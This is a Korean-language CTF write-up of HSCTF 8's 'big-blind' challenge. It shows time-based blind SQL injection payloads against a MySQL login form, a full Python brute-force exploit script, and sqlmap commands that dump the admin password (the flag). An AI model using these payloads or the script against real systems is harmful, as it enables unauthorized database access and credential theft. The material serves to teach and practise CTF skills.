[Clear] HSCTF 8 web/big-blind Writeup
대회에서 되게 오랜만이었던 Sql-injection 문제였다.
문제 이름괴 주어진 페이지에 로그인 창이 있는 것으로 보아 blind sql injection 문제임을 유추 할 수 있다.
우선 DB의 종류를 파악해보자.
위 자료를 참고하여 #은 허용되면서 -- 를 허용하지 않는다는 것을 근거로 MySQL 일 것이라고 추측하였다.
이제 blind sql injection 기법을 통해 password 를 찾아야하는데, 서버의 응답 값은 구문 에러가 없을 시,
TODO: Do something here.
을 출력하거나 구문에 이상이 있을 시 500 Error Code를 리턴해줄 뿐이었다.
따라서, Time based blind injection 을 통해 패스워드를 추출해보기로 하였다.
우선, 테스트 구문은
' or case when (select length(table_name) from information_schema.tables limit 0,1)=11 then sleep(3) else sleep(0) end#
였고 3초 뒤에 응답이 온 것으로 보아 조건 만족 시 입력한 쿼리가 정상적으로 작동함을 확인 할 수 있었다.
time based blind injection이 가능함을 알았다. 첫 번째 단계로
query = "' or (select ascii(substring(database(),"+str(i+1)+",1))="+str(127-j)+") and sleep(5)#" ### db_name
를 활용하여 db이름을 확인하였다.
query = "' or case when (select length(table_name) from information_schema.tables where table_type='base table' and table_schema='db' limit "+str(k)+",1)="+str(j)+" then sleep(6) else sleep(0) end#" >> table_length
를 통해 table_name의 길이를,
query = "' or case when ascii(substr((select table_name from information_schema.tables where table_type='base table' and table_schema='db' limit "+str(k)+",1),"+str(i+1)+",1))="+str(126-j)+" then sleep(6) else sleep(0) end#"
를 통해 table_name을,
query = "' or case when (select length(column_name) from information_schema.columns where table_name='users' and table_schema='db' limit "+str(k)+",1)="+str(j)+" then sleep(6) else sleep(0) end#" #### column_length
를 통해 각 column의 길이를,
query = "' or case when ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='db' limit "+str(k+1)+",1),"+str(i+1)+",1))="+str(126-j)+" then sleep(6) else sleep(0) end#" #### column_name
를 통해 각 column의 이름을 구할 수 있었다.
(user, pass .. 그냥 패킷의 파라미터명과 똑같았다.. 눈치가 빨랐더라면 더 빨리 풀 수 있었을 것 같다.)
마지막으로
query = "' or case when ascii(substr((select pass from db.users where user='admin'),"+str(i+1)+",1))="+str(126-j)+" then sleep(10) else sleep(0) end#" #### get data
를 통해 flag인 pass의 값을 출력 할 수 있었다.
위 쿼리를 활용 할 수 있는 전체 exploit 코드는 아래와 같다.
import requests, time, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "https://big-blind.hsc.tf/"
for k in range(1) : ####### edit k, i , j
table_name=''
for i in range(50) :
for j in range(126) :
if(126-j) ==32:
break
#db
##db_name
#query = "' or (select ascii(substring(database(),"+str(i+1)+",1))="+str(127-j)+") and sleep(5)#"
#table
##table_length
#query = "' or case when (select length(table_name) from information_schema.tables where table_type='base table' and table_schema='db' limit "+str(k)+",1)="+str(j)+" then sleep(6) else sleep(0) end#" #### table_length
##table_name
#query = "' or case when ascii(substr((select table_name from information_schema.tables where table_type='base table' and table_schema='db' limit "+str(k)+",1),"+str(i+1)+",1))="+str(126-j)+" then sleep(6) else sleep(0) end#" #### table_name
#column
##column_length
#query = "' or case when (select length(column_name) from information_schema.columns where table_name='users' and table_schema='db' limit "+str(k)+",1)="+str(j)+" then sleep(6) else sleep(0) end#" #### table_length
##column_name
#query = "' or case when ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='db' limit "+str(k+1)+",1),"+str(i+1)+",1))="+str(126-j)+" then sleep(6) else sleep(0) end#" #### column_name
#data
query = "' or case when ascii(substr((select pass from db.users where user='admin'),"+str(i+1)+",1))="+str(126-j)+" then sleep(10) else sleep(0) end#" #### get data
data = {'user': query, 'pass': 'pass'}
try:
response = requests.post(url, data=data, verify=False, timeout=3)
#time.sleep(3)
if "TODO:" in response.text :
pass
else :
print(response.text)
except requests.Timeout: ## edit for print result
table_name += chr(126-j)
print("-------------------------------------------------")
print("Hit!")
print(query)
print("Timeout! Password : "+table_name)
print("-------------------------------------------------")
break
FLAG = flag{any_info_is_good_info}
레퍼런스:
https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=gglee0127&logNo=221271644309
데이터베이스 종류별 SQL 주석 종류
※ Sybase IQ % 주석은 Percent_as_comment 옵션 값이 on 이어야 합니다.
blog.naver.com
https://crattack.tistory.com/entry/WEB-Blind-SQL-Injection-%EA%B3%B5%EA%B2%A9-%EB%B0%A9%EB%B2%95
[WEB] Blind SQL Injection 공격 방법
참고 - http://blog.naver.com/funny303/220778035079 - http://pypie.tistory.com/entry/Blind-SQL-Injection - http://www.securityidiots.com/Web-Pentest/SQL-Injection/Blind-SQL-Injection.html 1. SQL Inje..
crattack.tistory.com
https://cloud.google.com/bigquery/docs/information-schema-tables?hl=ko
INFORMATION_SCHEMA를 사용하여 테이블 메타데이터 가져오기 | BigQuery | Google Cloud
INFORMATION_SCHEMA에는 테이블 메타데이터에 대한 다음과 같은 뷰가 포함되어 있습니다. 테이블 메타데이터의 TABLES 및 TABLE_OPTIONS 열 및 필드 메타데이터의 COLUMNS 및 COLUMN_FIELD_PATHS 테이블 파티션 관
cloud.google.com
Blind SQL Injection
Boolean-based Blind SQL Injection 쿼리 실행 결과의 ``sql True / False`` 여부에 따라 response가 다르다면, Boolean-based Blind를 사용할 수 있다. 꼭 로그인에 성공해야 ``sql True``인 것은 아니다. q..
umbum.dev
----------------------------------------------------------------------------------------------------------------------Sqlmap을 활용한 풀이도 있었다.
https://github.com/satoki/ctf_writeups/tree/master/HSCTF_8/big-blind
satoki/ctf_writeups
CTFの解法をまとめる。. Contribute to satoki/ctf_writeups development by creating an account on GitHub.
github.com
$ python sqlmap.py -u "https://big-blind.hsc.tf/" --method POST --data "user=1&pass=2" --level 2 --dbs
~~~
available databases [4]:
[*] db
[*] information_schema
[*] mysql
[*] performance_schema
~~~
$ python sqlmap.py -u "https://big-blind.hsc.tf/" --method POST --data "user=1&pass=2" --level 2 --time-sec 2 --technique T -D db --tables
~~~
Database: db
[1 table]
+-------+
| users |
+-------+
~~~
~~~
$ python sqlmap.py -u "https://big-blind.hsc.tf/" --method POST --data "user=1&pass=2" --level 2 --time-sec 2 --technique T -D db -T users --columns
~~~
Database: db
Table: users
[2 columns]
+--------+--------------+
| Column | Type |
+--------+--------------+
| user | varchar(255) |
| pass | varchar(255) |
+--------+--------------+
~~~
$ python sqlmap.py -u "https://big-blind.hsc.tf/" --method POST --data "user=1&pass=2" --level 2 --time-sec 2 --technique T -D db -T users -C user --dump
~~~
Database: db
Table: users
[1 entry]
+--------+
| user |
+--------+
| admin |
+--------+
~~~
$ python sqlmap.py -u "https://big-blind.hsc.tf/" --method POST --data "user=1&pass=2" --level 2 --time-sec 2 --technique T -D db -T users -C pass --dump
~~~
Database: db
Table: users
[1 entry]
+-----------------------------+
| pass |
+-----------------------------+
| flag{any_info_is_good_info} |
+-----------------------------+
~~~